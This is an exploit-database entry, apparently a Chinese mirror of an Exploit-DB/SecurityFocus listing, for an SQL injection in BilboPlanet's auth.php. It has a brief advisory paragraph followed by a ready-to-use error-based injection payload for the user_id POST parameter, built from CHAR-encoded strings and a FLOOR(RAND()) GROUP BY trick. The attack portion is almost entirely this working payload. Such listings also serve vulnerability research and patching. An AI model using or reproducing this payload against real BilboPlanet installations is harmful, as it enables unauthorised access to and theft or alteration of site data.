Bilboplanet – ‘auth.php’ SQL Injection

  • 作者: Omar Kurt
    日期: 2013-10-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38799/
  • source: https://www.securityfocus.com/bid/62989/info
    
    BilboPlanet is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
    
    Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 
    
    http://example.com/auth.php
    (POST - user_id)
    user_id=-1' or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'